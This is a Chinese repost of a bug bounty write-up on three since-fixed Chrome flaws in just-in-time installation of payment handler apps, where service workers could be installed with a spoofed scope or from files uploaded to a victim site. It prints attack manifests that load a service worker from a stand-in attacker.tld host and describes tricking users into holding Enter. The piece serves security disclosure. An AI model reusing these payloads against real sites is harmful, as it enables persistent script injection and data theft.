技術討論 | 如何在Chrome中使用即時支付功能
話不多說,我們直奔主題!
當時我在研究Chrome支付處理API(PaymentHandler API)的時候,我發現了下面這句話:
Chrome還支援一個非標準功能,我們將其命名為’及時安裝功能’(JIT)。
非常好,這名字一聽起來就感覺像存在bug的。所以我趕緊對這個功能的工作機制進行了研究【參考資料】。首先,支付處理API允許支付服務提供商處理髮送給他們的支付請求,那支付App的JIT安裝功能又是什麼呢?具體我就不解釋了,請大家接著往下看。
當客戶端使用伺服器不支援的方法來呼叫支付請求的時候,也就是下面這樣:
new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });
Chrome將會從伺服器支援的方法(例如 ofollow,noindex" target="_blank">https://example.com/pay/ )中獲取一個特定的URL地址,用於獲取地址的頁面需要以包含下列響應Header(指向 Payment MethodManifest )的響應資訊來響應客戶端的請求:
Link:<https://example.com/pay/payment-manifest.json>;rel="payment-method-manifest"
接下來,Chrome將會獲取之前所定義的Payment Method Manifest,檔案的大致內容如下所示:
{"default_applications": ["https://example.com/pay/web-app-manifest.json"],"supported_origins": ["https://example.com"] }
然後,Chrome將會獲取之前所定義的 Web App Manifest ,該檔案的內容大致如下:
{ "name": "Pay withExample", .... "serviceworker": { "src":"service-worker.js", "scope":"https://example.com/pay/" }, ... }
Chrome將會用一個指向“src”和“scope”值的JavaScript檔案來註冊Service Worker,這裡是JIT安裝過程中使用者可以點選“支付”按鈕的一種情況:
幸運的是,頁面內的“支付”按鈕預設設定為聚焦的,所以我們就可以想辦法讓目標使用者按住回車鍵3秒鐘,這樣我們就可以觸發JIT安裝功能了。你注意到上圖中有些什麼奇怪的地方了嗎?沒錯,支付App的源似乎來自 www.google.com 。為什麼呢?原來我們可以用Service Worker指令碼來指定Web App Manifest中“scope”引數的值,也就是可以設定任意值:
{ "name": "Pay toAttacker", .... "serviceworker": { "src": "https://attacker.tld/service-worker.js", "scope":"https://www.google.com/" }, ... }
儘管如此,這裡還是存在一些問題,因為Service Worker仍然會存有攻擊者網站的源地址,即使攻擊者註冊的是Google服務範圍內的地址。我這裡沒辦法攔截導航/支付請求,但是我可以使用Console API這樣的API來進行資料分析,而當用戶訪問了google.com的控制檯之後,Console API可以記錄使用者的任意資料。
這個漏洞跟UXSS非常相似,但是我沒辦法成功利用,因為我不應該使用Data URL指令碼。當時我將該漏洞上報給Google之後,他們在兩天內修復了該漏洞(Chrome 68禁用了JIT安裝功能),並提供了5000美金的漏洞獎勵。
這個過程中我還注意到了另一個問題,其實我們根本不需要在目標站點內執行指令碼來觸發JIT安裝功能。也就是說,假設攻擊者的站點中託管瞭如下所示的指令碼內容:
new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });
Chrome將會獲取伺服器不支援的方法,響應資訊的響應Header如下:
Link:<https://attacker.tld/payment-manifest.json>;rel="payment-method-manifest"
接下來,Chrome將會以下列方式獲取Payment Method Manifest:
{"default_applications":["https://victim.tld/user-upload/web-app-manifest.json"],"supported_origins": "*" }
現在,Chrome會從目標站點獲取Web App Manifest,這個Web App Manifest能夠以任意Content-Type或Content-Disposition進行響應。有的人可能會想,“是不是可以用Cross-originNo-CORS來請求一個JSON檔案呢? CORB 會不會禁用這種請求方式呢?”沒錯,這種請求響應的確會被遮蔽,
儘管如此,Chrome仍會繼續獲取上述的Web App Manifest內容:
{ "name": "Pay toAttacker", .... "serviceworker": { "src":"https://victim.tld/user-upload/service-worker.js", "scope":"https://victim.tld/user-upload/" }, ... }
Service Worker指令碼的Content-Type必須為JavaScript,但如果使用Content-Disposition的話就無所謂了。
總的來說,如果你能夠向目標站點上傳檔案的話,你就可以在不需要執行任何指令碼的情況下安裝Service Worker了(持久型XSS)。這很明顯又是一個漏洞,上報之後我又拿到了3000美金…
所以,第一個漏洞通過檢測Web App Manifest、Service Worker指令碼和Scope URL是否同源來成功修復,第二個漏洞通過檢測Payment Method Manifest和支付App是否在同一網站來成功修復。那麼接下來,我們繼續嘗試Hack!
攻擊者的網站呼叫下列方法:
new PaymentRequest([{ supportedMethods:'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });
Chrome獲取不支援的方法兵重定向至攻擊者的網站,響應資訊的響應Header如下:
Link:<https://victim.tld/user-upload/payment-manifest.json>;rel="payment-method-manifest"
接下來還是跟之前一樣,我們只需要向目標站點上傳檔案(Payment Method Manifest),如果目標站點開啟了開放重定向功能的話,這樣就能夠繞過所有的安全檢測,因為目標站點中的Service Worker並不需要執行任何指令碼。
當然了,這個漏洞在兩天之後已經修復了,然後我又拿到了3133.7美金(7毛是什麼鬼?)。
最後,完整的JIT支付App在Chrome 69中正式上線。
下面是同網站Service Worker安裝的PoC:【 傳送門 】
我個人認為,控制響應Header還是比較困難的,所以目前Chrome所採取的緩解方案也足夠了。
* 參考來源: shhnjk ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM